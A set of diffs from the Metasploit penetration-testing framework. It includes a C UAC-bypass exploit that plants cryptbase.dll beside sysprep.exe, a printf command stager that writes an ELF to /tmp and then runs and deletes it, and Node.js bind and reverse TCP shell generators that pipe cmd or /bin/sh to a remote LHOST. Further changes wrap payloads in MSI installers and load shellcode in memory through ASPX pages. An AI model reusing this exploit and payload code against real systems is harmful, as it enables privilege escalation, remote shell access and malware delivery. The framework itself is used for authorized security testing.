wchar_t szElevDllFull[MAX_PATH] = {};
|
||||
wchar_t szElevDllFull_syswow64[MAX_PATH] = {};
|
||||
wchar_t szElevExeFull[MAX_PATH] = {};
|
||||
wchar_t path[MAX_PATH] = {};
|
||||
wchar_t windir[MAX_PATH] = {};
|
||||
|
@ -25,8 +28,6 @@ void exploit()
|
|||
const IID *pIID_EIFOClass = &__uuidof(FileOperation);
|
||||
const IID *pIID_ShellItem2 = &__uuidof(IShellItem2);
|
||||
|
||||
Wow64DisableWow64FsRedirection(&OldValue);
|
||||
|
||||
GetWindowsDirectoryW(windir, MAX_PATH);
|
||||
GetTempPathW(MAX_PATH, path);
|
||||
|
||||
|
@ -37,14 +38,24 @@ void exploit()
|
|||
wcscat_s(szElevDir, MAX_PATH, windir);
|
||||
wcscat_s(szElevDir, MAX_PATH, szSysPrepDir);
|
||||
|
||||
/* %windir%\sysnative\sysprep\ */
|
||||
wcscat_s(szElevDir_syswow64, MAX_PATH, windir);
|
||||
wcscat_s(szElevDir_syswow64, MAX_PATH, szSysPrepDir_syswow64);
|
||||
|
||||
/* %windir\system32\sysprep\cryptbase.dll */
|
||||
wcscat_s(szElevDllFull, MAX_PATH, szElevDir);
|
||||
wcscat_s(szElevDllFull, MAX_PATH, szElevDll);
|
||||
|
||||
/* %windir\sysnative\sysprep\cryptbase.dll */
|
||||
wcscat_s(szElevDllFull_syswow64, MAX_PATH, szElevDir_syswow64);
|
||||
wcscat_s(szElevDllFull_syswow64, MAX_PATH, szElevDll);
|
||||
|
||||
/* %windir%\system32\sysprep\sysprep.exe */
|
||||
wcscat_s(szElevExeFull, MAX_PATH, szElevDir);
|
||||
wcscat_s(szElevExeFull, MAX_PATH, sySysPrepExe);
|
||||
|
||||
|
||||
|
||||
if (CoInitialize(NULL) == S_OK)
|
||||
{
|
||||
if (CoCreateInstance(*pIID_EIFOClass, NULL, CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER, *pIID_EIFO, (void**) &pFileOp) == S_OK)
|
||||
|
@ -70,15 +81,26 @@ void exploit()
|
|||
shinfo.lpDirectory = szElevDir;
|
||||
shinfo.nShow = SW_HIDE;
|
||||
|
||||
// Only enable redirection for the process execution.
|
||||
Wow64DisableWow64FsRedirection(&OldValue);
|
||||
if (ShellExecuteExW(&shinfo) && shinfo.hProcess != NULL)
|
||||
{
|
||||
WaitForSingleObject(shinfo.hProcess, 200);
|
||||
TerminateProcess(shinfo.hProcess, 0); // Even better if the template payload.dll calls ExitProcess
|
||||
CloseHandle(shinfo.hProcess);
|
||||
}
|
||||
Wow64RevertWow64FsRedirection(OldValue);
|
||||
|
||||
/* Delete copied file - This doesn't appear to work in SYSWOW64 despite disabling the redirect?? */
|
||||
if (S_OK == SHCreateItemFromParsingName(szElevDllFull, NULL, *pIID_ShellItem2, (void**) &pSHIDelete))
|
||||
if (0 != pSHIDelete)
|
||||
if (S_OK == pFileOp->DeleteItem(pSHIDelete, NULL))
|
||||
{
|
||||
// If we fail to delete the file probably SYSWOW64 process so use SYSNATIVE to get the correct path
|
||||
// DisableWOW64Redirect fails at this? Possibly due to how it interacts with UAC see:
|
||||
// http://msdn.microsoft.com/en-us/library/windows/desktop/aa384187(v=vs.85).aspx
|
||||
if (!pFileOp->PerformOperations())
|
||||
{
|
||||
if (S_OK == SHCreateItemFromParsingName(szElevDllFull_syswow64, NULL, *pIID_ShellItem2, (void**) &pSHIDelete))
|
||||
if (0 != pSHIDelete)
|
||||
if (S_OK == pFileOp->DeleteItem(pSHIDelete, NULL))
|
||||
{
|
||||
|
@ -91,4 +113,6 @@ void exploit()
|
|||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -37,13 +37,19 @@ module Auxiliary::JohnTheRipper
|
|||
autodetect_platform
|
||||
end
|
||||
|
||||
# @return [String] the run path instance variable if the platform is detectable, nil otherwise.
|
||||
def autodetect_platform
|
||||
cpuinfo_base = ::File.join(Msf::Config.install_root, "data", "cpuinfo")
|
||||
return @run_path if @run_path
|
||||
cpuinfo_base = ::File.join(Msf::Config.data_directory, "cpuinfo")
|
||||
if File.directory?(cpuinfo_base)
|
||||
data = nil
|
||||
|
||||
case ::RUBY_PLATFORM
|
||||
when /mingw|cygwin|mswin/
|
||||
data = `"#{cpuinfo_base}/cpuinfo.exe"` rescue nil
|
||||
fname = "#{cpuinfo_base}/cpuinfo.exe"
|
||||
if File.exists?(fname) and File.executable?(fname)
|
||||
data = %x{"#{fname}"} rescue nil
|
||||
end
|
||||
case data
|
||||
when /sse2/
|
||||
@run_path ||= "run.win32.sse2/john.exe"
|
||||
|
@ -52,20 +58,24 @@ module Auxiliary::JohnTheRipper
|
|||
else
|
||||
@run_path ||= "run.win32.any/john.exe"
|
||||
end
|
||||
|
||||
when /x86_64-linux/
|
||||
::FileUtils.chmod(0755, "#{cpuinfo_base}/cpuinfo.ia64.bin") rescue nil
|
||||
data = `#{cpuinfo_base}/cpuinfo.ia64.bin` rescue nil
|
||||
fname = "#{cpuinfo_base}/cpuinfo.ia64.bin"
|
||||
if File.exists? fname
|
||||
::FileUtils.chmod(0755, fname) rescue nil
|
||||
data = %x{"#{fname}"} rescue nil
|
||||
end
|
||||
case data
|
||||
when /mmx/
|
||||
@run_path ||= "run.linux.x64.mmx/john"
|
||||
else
|
||||
@run_path ||= "run.linux.x86.any/john"
|
||||
end
|
||||
|
||||
when /i[\d]86-linux/
|
||||
::FileUtils.chmod(0755, "#{cpuinfo_base}/cpuinfo.ia32.bin") rescue nil
|
||||
data = `#{cpuinfo_base}/cpuinfo.ia32.bin` rescue nil
|
||||
fname = "#{cpuinfo_base}/cpuinfo.ia32.bin"
|
||||
if File.exists? fname
|
||||
::FileUtils.chmod(0755, fname) rescue nil
|
||||
data = %x{"#{fname}"} rescue nil
|
||||
end
|
||||
case data
|
||||
when /sse2/
|
||||
@run_path ||= "run.linux.x86.sse2/john"
|
||||
|
@ -75,7 +85,9 @@ module Auxiliary::JohnTheRipper
|
|||
@run_path ||= "run.linux.x86.any/john"
|
||||
end
|
||||
end
|
||||
@run_path
|
||||
end
|
||||
|
||||
return @run_path
|
||||
end
|
||||
|
||||
def john_session_id
|
||||
|
|
|
@ -0,0 +1,27 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core/exploit/cmdstager'
|
||||
|
||||
module Msf
|
||||
|
||||
####
|
||||
# Allows for staging cmd to arbitrary payloads through the CmdStagerPrintf.
|
||||
#
|
||||
# This stager uses a POSIX-conformant printf, that supports the interpretation
|
||||
# of octal escapes, to drop an ELF with the payload embedded to disk.
|
||||
####
|
||||
|
||||
module Exploit::CmdStagerPrintf
|
||||
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
# Initializes a CmdStagerPrintf instance for the supplied payload
|
||||
#
|
||||
# @param exe [String] The payload embedded into an ELF
|
||||
# @return [Rex::Exploitation::CmdStagerPrintf] Stager instance
|
||||
def create_stager(exe)
|
||||
Rex::Exploitation::CmdStagerPrintf.new(exe)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -20,15 +20,20 @@ module Exploit::EXE
|
|||
OptPath.new( 'EXE::Path', [ false, 'The directory in which to look for the executable template' ]),
|
||||
OptPath.new( 'EXE::Template', [ false, 'The executable template file name.' ]),
|
||||
OptBool.new( 'EXE::Inject', [ false, 'Set to preserve the original EXE function' ]),
|
||||
OptBool.new( 'EXE::OldMethod', [ false, 'Set to use the substitution EXE generation method.' ]),
|
||||
OptBool.new( 'EXE::FallBack', [ false, 'Use the default template in case the specified one is missing' ])
|
||||
OptBool.new( 'EXE::OldMethod',[ false, 'Set to use the substitution EXE generation method.' ]),
|
||||
OptBool.new( 'EXE::FallBack', [ false, 'Use the default template in case the specified one is missing' ]),
|
||||
OptPath.new( 'MSI::Custom', [ false, 'Use custom msi instead of automatically generating a payload msi']),
|
||||
OptPath.new( 'MSI::Path', [ false, 'The directory in which to look for the msi template' ]),
|
||||
OptPath.new( 'MSI::Template', [ false, 'The msi template file name' ]),
|
||||
OptBool.new( 'MSI::UAC', [ false, 'Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)' ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def get_custom_exe
|
||||
print_status("Using custom executable #{datastore["EXE::Custom"]}, RHOST and RPORT settings will be ignored!")
|
||||
def get_custom_exe(path=nil)
|
||||
path ||= datastore['EXE::Custom']
|
||||
print_status("Using custom payload #{path}, RHOST and RPORT settings will be ignored!")
|
||||
datastore['DisablePayloadHandler'] = true
|
||||
file = ::File.open(datastore['EXE::Custom'],'rb')
|
||||
file = ::File.open(path,'rb')
|
||||
exe = file.read(file.stat.size)
|
||||
file.close
|
||||
exe
|
||||
|
@ -99,6 +104,22 @@ module Exploit::EXE
|
|||
dll
|
||||
end
|
||||
|
||||
def generate_payload_msi(opts = {})
|
||||
return get_custom_exe(datastore['MSI::Custom']) if datastore.include? 'MSI::Custom'
|
||||
|
||||
exe = generate_payload_exe(opts)
|
||||
|
||||
opts.merge! ({
|
||||
:msi_template => datastore['MSI::Template'],
|
||||
:msi_template_path => datastore['MSI::Path'],
|
||||
:uac => datastore['MSI::UAC']
|
||||
})
|
||||
|
||||
msi = Msf::Util::EXE.to_exe_msi(framework, exe, opts)
|
||||
|
||||
return msi
|
||||
end
|
||||
|
||||
protected
|
||||
def exe_init_options(opts)
|
||||
opts.merge!(
|
||||
|
|
|
@ -3,6 +3,7 @@ require 'rex/service_manager'
|
|||
require 'rex/exploitation/obfuscatejs'
|
||||
require 'rex/exploitation/encryptjs'
|
||||
require 'rex/exploitation/heaplib'
|
||||
require 'rex/exploitation/javascriptosdetect'
|
||||
|
||||
module Msf
|
||||
|
||||
|
|
|
@ -26,6 +26,7 @@ require 'msf/core/exploit/cmdstager_debug_asm'
|
|||
require 'msf/core/exploit/cmdstager_tftp'
|
||||
require 'msf/core/exploit/cmdstager_bourne'
|
||||
require 'msf/core/exploit/cmdstager_echo'
|
||||
require 'msf/core/exploit/cmdstager_printf'
|
||||
|
||||
# Protocol
|
||||
require 'msf/core/exploit/tcp'
|
||||
|
|
|
@ -12,39 +12,40 @@ class Msf::Module::Author
|
|||
# A hash of known author names
|
||||
Known =
|
||||
{
|
||||
'hdm' => 'hdm' + 0x40.chr + 'metasploit.com',
|
||||
'spoonm' => 'spoonm' + 0x40.chr + 'no$email.com',
|
||||
'skape' => 'mmiller' + 0x40.chr + 'hick.org',
|
||||
'vlad902' => 'vlad902' + 0x40.chr + 'gmail.com',
|
||||
'optyx' => 'optyx' + 0x40.chr + 'no$email.com',
|
||||
'anonymous' => 'anonymous-contributor' + 0x40.chr + 'metasploit.com',
|
||||
'stinko' => 'vinnie' + 0x40.chr + 'metasploit.com',
|
||||
'MC' => 'mc' + 0x40.chr + 'metasploit.com',
|
||||
'cazz' => 'bmc' + 0x40.chr + 'shmoo.com',
|
||||
'pusscat' => 'pusscat' + 0x40.chr + 'metasploit.com',
|
||||
'skylined' => 'skylined' + 0x40.chr + 'edup.tudelft.nl',
|
||||
'patrick' => 'patrick' + 0x40.chr + 'osisecurity.com.au',
|
||||
'Ramon de C Valle' => 'rcvalle' + 0x40.chr + 'metasploit.com',
|
||||
'I)ruid' => 'druid' + 0x40.chr + 'caughq.org',
|
||||
'egypt' => 'egypt' + 0x40.chr + 'metasploit.com',
|
||||
'kris katterjohn' => 'katterjohn' + 0x40.chr + 'gmail.com',
|
||||
'CG' => 'cg' + 0x40.chr + 'carnal0wnage.com',
|
||||
'et' => 'et' + 0x40.chr + 'metasploit.com',
|
||||
'sf' => 'stephen_fewer' + 0x40.chr + 'harmonysecurity.com',
|
||||
'kf' => 'kf_list' + 0x40.chr + 'digitalmunition.com',
|
||||
'ddz' => 'ddz' + 0x40.chr + 'theta44.org',
|
||||
'jduck' => 'jduck' + 0x40.chr + 'metasploit.com',
|
||||
'natron' => 'natron' + 0x40.chr + 'metasploit.com',
|
||||
'todb' => 'todb' + 0x40.chr + 'metasploit.com',
|
||||
'msmith' => 'msmith' + 0x40.chr + 'metasploit.com',
|
||||
'jcran' => 'jcran' + 0x40.chr + 'metasploit.com',
|
||||
'sinn3r' => 'sinn3r' + 0x40.chr + 'metasploit.com',
|
||||
'bannedit' => 'bannedit' + 0x40.chr + 'metasploit.com',
|
||||
'amaloteaux' => 'alex_maloteaux' + 0x40.chr + 'metasploit.com',
|
||||
'anonymous' => 'anonymous-contributor' + 0x40.chr + 'metasploit.com',
|
||||
'bannedit' => 'bannedit' + 0x40.chr + 'metasploit.com',
|
||||
'Carlos Perez' => 'carlos_perez' + 0x40.chr + 'darkoperator.com',
|
||||
'cazz' => 'bmc' + 0x40.chr + 'shmoo.com',
|
||||
'CG' => 'cg' + 0x40.chr + 'carnal0wnage.com',
|
||||
'ddz' => 'ddz' + 0x40.chr + 'theta44.org',
|
||||
'egypt' => 'egypt' + 0x40.chr + 'metasploit.com',
|
||||
'et' => 'et' + 0x40.chr + 'metasploit.com',
|
||||
'hdm' => 'hdm' + 0x40.chr + 'metasploit.com',
|
||||
'I)ruid' => 'druid' + 0x40.chr + 'caughq.org',
|
||||
'jcran' => 'jcran' + 0x40.chr + 'metasploit.com',
|
||||
'jduck' => 'jduck' + 0x40.chr + 'metasploit.com',
|
||||
'joev' => 'joev' + 0x40.chr + 'metasploit.com',
|
||||
'juan vazquez' => 'juan.vazquez' + 0x40.chr + 'metasploit.com',
|
||||
'kf' => 'kf_list' + 0x40.chr + 'digitalmunition.com',
|
||||
'kris katterjohn' => 'katterjohn' + 0x40.chr + 'gmail.com',
|
||||
'MC' => 'mc' + 0x40.chr + 'metasploit.com',
|
||||
'msmith' => 'msmith' + 0x40.chr + 'metasploit.com',
|
||||
'mubix' => 'mubix' + 0x40.chr + 'hak5.org',
|
||||
'natron' => 'natron' + 0x40.chr + 'metasploit.com',
|
||||
'optyx' => 'optyx' + 0x40.chr + 'no$email.com',
|
||||
'patrick' => 'patrick' + 0x40.chr + 'osisecurity.com.au',
|
||||
'pusscat' => 'pusscat' + 0x40.chr + 'metasploit.com',
|
||||
'Ramon de C Valle' => 'rcvalle' + 0x40.chr + 'metasploit.com',
|
||||
'sf' => 'stephen_fewer' + 0x40.chr + 'harmonysecurity.com',
|
||||
'sinn3r' => 'sinn3r' + 0x40.chr + 'metasploit.com',
|
||||
'skape' => 'mmiller' + 0x40.chr + 'hick.org',
|
||||
'skylined' => 'skylined' + 0x40.chr + 'edup.tudelft.nl',
|
||||
'spoonm' => 'spoonm' + 0x40.chr + 'no$email.com',
|
||||
'stinko' => 'vinnie' + 0x40.chr + 'metasploit.com',
|
||||
'theLightCosine' => 'theLightCosine' + 0x40.chr + 'metasploit.com',
|
||||
'mubix' => 'mubix' + 0x40.chr + 'hak5.org'
|
||||
'todb' => 'todb' + 0x40.chr + 'metasploit.com',
|
||||
'vlad902' => 'vlad902' + 0x40.chr + 'gmail.com'
|
||||
}
|
||||
|
||||
#
|
||||
|
|
|
@ -0,0 +1,70 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'msf/core'
|
||||
|
||||
module Msf::Payload::NodeJS
|
||||
# Outputs a javascript snippet that spawns a bind TCP shell
|
||||
# @return [String] javascript code that executes bind TCP payload
|
||||
def nodejs_bind_tcp
|
||||
cmd = <<-EOS
|
||||
(function(){
|
||||
var require = global.require || global.process.mainModule.constructor._load;
|
||||
if (!require) return;
|
||||
|
||||
var cmd = (global.process.platform.match(/^win/i)) ? "cmd" : "/bin/sh";
|
||||
var net = require("net"),
|
||||
cp = require("child_process"),
|
||||
util = require("util");
|
||||
|
||||
var server = net.createServer(function(socket) {
|
||||
var sh = cp.spawn(cmd, []);
|
||||
socket.pipe(sh.stdin);
|
||||
util.pump(sh.stdout, socket);
|
||||
util.pump(sh.stderr, socket);
|
||||
});
|
||||
server.listen(#{datastore['LPORT']});
|
||||
})();
|
||||
EOS
|
||||
cmd.gsub("\n",'').gsub(/\s+/,' ').gsub(/[']/, '\\\\\'')
|
||||
end
|
||||
|
||||
# Outputs a javascript snippet that spawns a reverse TCP shell
|
||||
# @param [Hash] opts the options to create the reverse TCP payload with
|
||||
# @option opts [Boolean] :use_ssl use SSL when communicating with the shell. defaults to false.
|
||||
# @return [String] javascript code that executes reverse TCP payload
|
||||
def nodejs_reverse_tcp(opts={})
|
||||
use_ssl = opts.fetch(:use_ssl, false)
|
||||
tls_hash = if use_ssl then '{rejectUnauthorized:false}, ' else '' end
|
||||
net_lib = if use_ssl then 'tls' else 'net' end
|
||||
lhost = Rex::Socket.is_ipv6?(lhost) ? "[#{datastore['LHOST']}]" : datastore['LHOST']
|
||||
# the global.process.mainModule.constructor._load fallback for require() is
|
||||
# handy when the payload is eval()'d into a sandboxed context: the reference
|
||||
# to 'require' is missing, but can be looked up from the 'global' object.
|
||||
#
|
||||
# however, this fallback might break in later versions of nodejs.
|
||||
cmd = <<-EOS
|
||||
(function(){
|
||||
var require = global.require || global.process.mainModule.constructor._load;
|
||||
if (!require) return;
|
||||
var cmd = (global.process.platform.match(/^win/i)) ? "cmd" : "/bin/sh";
|
||||
var net = require("#{net_lib}"),
|
||||
cp = require("child_process"),
|
||||
util = require("util"),
|
||||
sh = cp.spawn(cmd, []);
|
||||
var client = this;
|
||||
client.socket = net.connect(#{datastore['LPORT']}, "#{lhost}", #{tls_hash} function() {
|
||||
client.socket.pipe(sh.stdin);
|
||||
util.pump(sh.stdout, client.socket);
|
||||
util.pump(sh.stderr, client.socket);
|
||||
});
|
||||
})();
|
||||
EOS
|
||||
cmd.gsub("\n",'').gsub(/\s+/,' ').gsub(/[']/, '\\\\\'')
|
||||
end
|
||||
|
||||
# Wraps the javascript code param in a "node" command invocation
|
||||
# @param [String] code the javascript code to run
|
||||
# @return [String] a command that invokes "node" and passes the code
|
||||
def nodejs_cmd(code)
|
||||
"node -e 'eval(\"#{Rex::Text.to_hex(code, "\\x")}\");'"
|
||||
end
|
||||
end
|
|
@ -13,6 +13,7 @@ class EXE
|
|||
require 'rex'
|
||||
require 'rex/peparsey'
|
||||
require 'rex/pescan'
|
||||
require 'rex/random_identifier_generator'
|
||||
require 'rex/zip'
|
||||
require 'metasm'
|
||||
require 'digest/sha1'
|
||||
|
@ -26,7 +27,7 @@ require 'msf/core/exe/segment_injector'
|
|||
|
||||
def self.set_template_default(opts, exe = nil, path = nil)
|
||||
# If no path specified, use the default one.
|
||||
path ||= File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates")
|
||||
path ||= File.join(Msf::Config.data_directory, "templates")
|
||||
|
||||
# If there's no default name, we must blow it up.
|
||||
if not exe
|
||||
|
@ -57,7 +58,7 @@ require 'msf/core/exe/segment_injector'
|
|||
end
|
||||
|
||||
def self.read_replace_script_template(filename, hash_sub)
|
||||
template_pathname = File.join(Msf::Config.install_root, "data", "templates", "scripts", filename)
|
||||
template_pathname = File.join(Msf::Config.data_directory, "templates", "scripts", filename)
|
||||
|
||||
template = ''
|
||||
File.open(template_pathname, "rb") do |f|
|
||||
|
@ -488,6 +489,66 @@ require 'msf/core/exe/segment_injector'
|
|||
exe_sub_method(code,opts)
|
||||
end
|
||||
|
||||
#
|
||||
# Wraps an executable inside a Windows
|
||||
# .msi file for auto execution when run
|
||||
#
|
||||
def self.to_exe_msi(framework, exe, opts={})
|
||||
if opts[:uac]
|
||||
opts[:msi_template] ||= "template_windows.msi"
|
||||
else
|
||||
opts[:msi_template] ||= "template_nouac_windows.msi"
|
||||
end
|
||||
return replace_msi_buffer(exe, opts)
|
||||
end
|
||||
|
||||
def self.replace_msi_buffer(pe, opts)
|
||||
opts[:msi_template_path] ||= File.join(Msf::Config.data_directory, "templates")
|
||||
|
||||
if opts[:msi_template].include?(File::SEPARATOR)
|
||||
template = opts[:msi_template]
|
||||
else
|
||||
template = File.join(opts[:msi_template_path], opts[:msi_template])
|
||||
end
|
||||
|
||||
msi = ''
|
||||
File.open(template, "rb") { |fd|
|
||||
msi = fd.read(fd.stat.size)
|
||||
}
|
||||
|
||||
section_size = 2**(msi[30..31].unpack('s')[0])
|
||||
sector_allocation_table = msi[section_size..section_size*2].unpack('l*')
|
||||
|
||||
buffer_chain = []
|
||||
current_secid = 5 # This is closely coupled with the template provided and ideally
|
||||
# would be calculated from the dir stream?
|
||||
|
||||
until current_secid == -2
|
||||
buffer_chain << current_secid
|
||||
current_secid = sector_allocation_table[current_secid]
|
||||
end
|
||||
|
||||
buffer_size = buffer_chain.length * section_size
|
||||
|
||||
if pe.size > buffer_size
|
||||
raise RuntimeError, "MSI Buffer is not large enough to hold the PE file"
|
||||
end
|
||||
|
||||
pe_block_start = 0
|
||||
pe_block_end = pe_block_start + section_size - 1
|
||||
|
||||
buffer_chain.each do |section|
|
||||
block_start = section_size * (section + 1)
|
||||
block_end = block_start + section_size - 1
|
||||
pe_block = [pe[pe_block_start..pe_block_end]].pack("a#{section_size}")
|
||||
msi[block_start..block_end] = pe_block
|
||||
pe_block_start = pe_block_end + 1
|
||||
pe_block_end += section_size
|
||||
end
|
||||
|
||||
return msi
|
||||
end
|
||||
|
||||
def self.to_osx_arm_macho(framework, code, opts={})
|
||||
|
||||
# Allow the user to specify their own template
|
||||
|
@ -822,6 +883,21 @@ def self.to_vba(framework,code,opts={})
|
|||
return read_replace_script_template("to_exe.aspx.template", hash_sub)
|
||||
end
|
||||
|
||||
def self.to_mem_aspx(framework, code, exeopts={})
|
||||
# Intialize rig and value names
|
||||
rig = Rex::RandomIdentifierGenerator.new()
|
||||
rig.init_var(:var_funcAddr)
|
||||
rig.init_var(:var_hThread)
|
||||
rig.init_var(:var_pInfo)
|
||||
rig.init_var(:var_threadId)
|
||||
rig.init_var(:var_bytearray)
|
||||
|
||||
hash_sub = rig.to_h
|
||||
hash_sub[:shellcode] = Rex::Text.to_csharp(code, 100, rig[:var_bytearray])
|
||||
|
||||
return read_replace_script_template("to_mem.aspx.template", hash_sub)
|
||||
end
|
||||
|
||||
def self.to_win32pe_psh_net(framework, code, opts={})
|
||||
hash_sub = {}
|
||||
hash_sub[:var_code] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
|
@ -1532,6 +1608,9 @@ def self.to_vba(framework,code,opts={})
|
|||
output = Msf::Util::EXE.to_exe_asp(exe, exeopts)
|
||||
|
||||
when 'aspx'
|
||||
output = Msf::Util::EXE.to_mem_aspx(framework, code, exeopts)
|
||||
|
||||
when 'aspx-exe'
|
||||
exe = to_executable_fmt(framework, arch, plat, code, 'exe', exeopts)
|
||||
output = Msf::Util::EXE.to_exe_aspx(exe, exeopts)
|
||||
|
||||
|
@ -1567,6 +1646,25 @@ def self.to_vba(framework,code,opts={})
|
|||
when ARCH_X64 then to_winpe_only(framework, code, exeopts, arch)
|
||||
end
|
||||
|
||||
when 'msi'
|
||||
case arch
|
||||
when ARCH_X86,nil
|
||||
exe = to_win32pe(framework, code, exeopts)
|
||||
when ARCH_X86_64,ARCH_X64
|
||||
exe = to_win64pe(framework, code, exeopts)
|
||||
end
|
||||
output = Msf::Util::EXE.to_exe_msi(framework, exe, exeopts)
|
||||
|
||||
when 'msi-nouac'
|
||||
case arch
|
||||
when ARCH_X86,nil
|
||||
exe = to_win32pe(framework, code, exeopts)
|
||||
when ARCH_X86_64,ARCH_X64
|
||||
exe = to_win64pe(framework, code, exeopts)
|
||||
end
|
||||
exeopts[:uac] = true
|
||||
output = Msf::Util::EXE.to_exe_msi(framework, exe, exeopts)
|
||||
|
||||
when 'elf'
|
||||
if (not plat or (plat.index(Msf::Module::Platform::Linux)))
|
||||
output = case arch
|
||||
|
@ -1632,7 +1730,7 @@ def self.to_vba(framework,code,opts={})
|
|||
def self.to_executable_fmt_formats
|
||||
[
|
||||
'dll','exe','exe-service','exe-small','exe-only','elf','macho','vba','vba-exe',
|
||||
'vbs','loop-vbs','asp','aspx','war','psh','psh-net'
|
||||
'vbs','loop-vbs','asp','aspx', 'aspx-exe','war','psh','psh-net', 'msi', 'msi-nouac'
|
||||
]
|
||||
end
|
||||
|
||||
|
|
|
@ -7,3 +7,4 @@ require 'rex/exploitation/cmdstager/debug_asm'
|
|||
require 'rex/exploitation/cmdstager/tftp'
|
||||
require 'rex/exploitation/cmdstager/bourne'
|
||||
require 'rex/exploitation/cmdstager/echo'
|
||||
require 'rex/exploitation/cmdstager/printf'
|
||||
|
|
|
@ -0,0 +1,122 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/text'
|
||||
require 'rex/arch'
|
||||
require 'msf/core/framework'
|
||||
require 'shellwords'
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
|
||||
class CmdStagerPrintf < CmdStagerBase
|
||||
|
||||
def initialize(exe)
|
||||
super
|
||||
|
||||
@var_elf = Rex::Text.rand_text_alpha(5)
|
||||
end
|
||||
|
||||
#
|
||||
# Override to ensure opts[:temp] is a correct *nix path
|
||||
#
|
||||
def generate(opts = {})
|
||||
opts[:temp] = opts[:temp] || '/tmp/'
|
||||
opts[:temp].gsub!(/\\/, '/')
|
||||
opts[:temp] = opts[:temp].shellescape
|
||||
opts[:temp] << '/' if opts[:temp][-1,1] != '/'
|
||||
super
|
||||
end
|
||||
|
||||
#
|
||||
# Override to set the extra byte count
|
||||
#
|
||||
def generate_cmds(opts)
|
||||
if opts[:noquotes]
|
||||
@cmd_start = "printf "
|
||||
@cmd_end = ">>#{@tempdir}#{@var_elf}"
|
||||
@prefix = '\\\\'
|
||||
min_part_size = 5
|
||||
else
|
||||
@cmd_start = "printf '"
|
||||
@cmd_end = "'>>#{@tempdir}#{@var_elf}"
|
||||
@prefix = '\\'
|
||||
min_part_size = 4
|
||||
end
|
||||
xtra_len = @cmd_start.length + @cmd_end.length
|
||||
opts.merge!({ :extra => xtra_len })
|
||||
|
||||
if (opts[:linemax] - opts[:extra]) < min_part_size
|
||||
raise RuntimeError, "Not enough space for command - #{opts[:extra] + min_part_size} byte required, #{opts[:linemax]} byte available"
|
||||
end
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
#
|
||||
# Encode into a "\12\345" octal format that printf understands
|
||||
#
|
||||
def encode_payload(opts)
|
||||
return Rex::Text.to_octal(@exe, @prefix)
|
||||
end
|
||||
|
||||
#
|
||||
# Override it to ensure that the octal representation of a byte isn't cut
|
||||
#
|
||||
def slice_up_payload(encoded, opts)
|
||||
encoded_dup = encoded.dup
|
||||
|
||||
parts = []
|
||||
xtra_len = opts[:extra]
|
||||
xtra_len ||= 0
|
||||
while (encoded_dup.length > 0)
|
||||
temp = encoded_dup.slice(0, (opts[:linemax] - xtra_len))
|
||||
|
||||
# remove the last octal escape if it is imcomplete
|
||||
if encoded_dup.length > temp.length and encoded_dup[temp.length, @prefix.length] != @prefix
|
||||
pos = temp.rindex('\\')
|
||||
pos -= 1 if temp[pos-1] == '\\'
|
||||
temp.slice!(pos..temp.length-1)
|
||||
end
|
||||
|
||||
parts << temp
|
||||
encoded_dup.slice!(0, temp.length)
|
||||
end
|
||||
|
||||
parts
|
||||
end
|
||||
|
||||
#
|
||||
# Combine the parts of the encoded file with the stuff that goes
|
||||
# before and after it.
|
||||
#
|
||||
def parts_to_commands(parts, opts)
|
||||
parts.map do |p|
|
||||
@cmd_start + p + @cmd_end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Since the binary has been already dropped to disk, just execute and
|
||||
# delete it
|
||||
#
|
||||
def generate_cmds_decoder(opts)
|
||||
cmds = []
|
||||
# Make it all happen
|
||||
cmds << "chmod +x #{@tempdir}#{@var_elf}"
|
||||
cmds << "#{@tempdir}#{@var_elf}"
|
||||
|
||||
# Clean up after unless requested not to..
|
||||
unless opts[:nodelete]
|
||||
cmds << "rm -f #{@tempdir}#{@var_elf}"
|
||||
end
|
||||
|
||||
return cmds
|
||||
end
|
||||
|
||||
def cmd_concat_operator
|
||||
" ; "
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
|
@ -29,7 +29,7 @@ class RopDb
|
|||
#
|
||||
# Returns an array of ROP gadgets. Each gadget can either be an offset, or a value (symbol or
|
||||
# some integer). When the value is a symbol, it can be one of these: :nop, :junk, :size,
|
||||
# and :size_negate.
|
||||
# :unsafe_negate_size, and :safe_negate_size
|
||||
# Note if no RoP is found, it returns an empry array.
|
||||
# Arguments:
|
||||
# rop_name - name of the ROP chain.
|
||||
|
@ -90,8 +90,10 @@ class RopDb
|
|||
Rex::Text.rand_text(4, badchars).unpack("V")[0].to_i
|
||||
elsif e == :size
|
||||
payload.length
|
||||
elsif e == :size_negate
|
||||
0xffffffff - payload.length + 1
|
||||
elsif e == :unsafe_negate_size
|
||||
get_unsafe_size(payload.length)
|
||||
elsif e == :safe_negate_size
|
||||
get_safe_size(payload.length)
|
||||
else
|
||||
e
|
||||
end
|
||||
|
@ -105,6 +107,28 @@ class RopDb
|
|||
private
|
||||
|
||||
|
||||
#
|
||||
# Returns a size that's safe from null bytes.
|
||||
# This function will keep incrementing the value of "s" until it's safe from null bytes.
|
||||
#
|
||||
def get_safe_size(s)
|
||||
safe_size = get_unsafe_size(s)
|
||||
while (safe_size.to_s(16).rjust(8, '0')).scan(/../).include?("00")
|
||||
safe_size -= 1
|
||||
end
|
||||
|
||||
safe_size
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Returns a size that might contain one or more null bytes
|
||||
#
|
||||
def get_unsafe_size(s)
|
||||
0xffffffff - s + 1
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Checks if a ROP chain is compatible
|
||||
#
|
||||
|
@ -146,8 +170,10 @@ class RopDb
|
|||
gadgets << :junk
|
||||
when 'size'
|
||||
gadgets << :size
|
||||
when 'size_negate'
|
||||
gadgets << :size_negate
|
||||
when 'unsafe_negate_size'
|
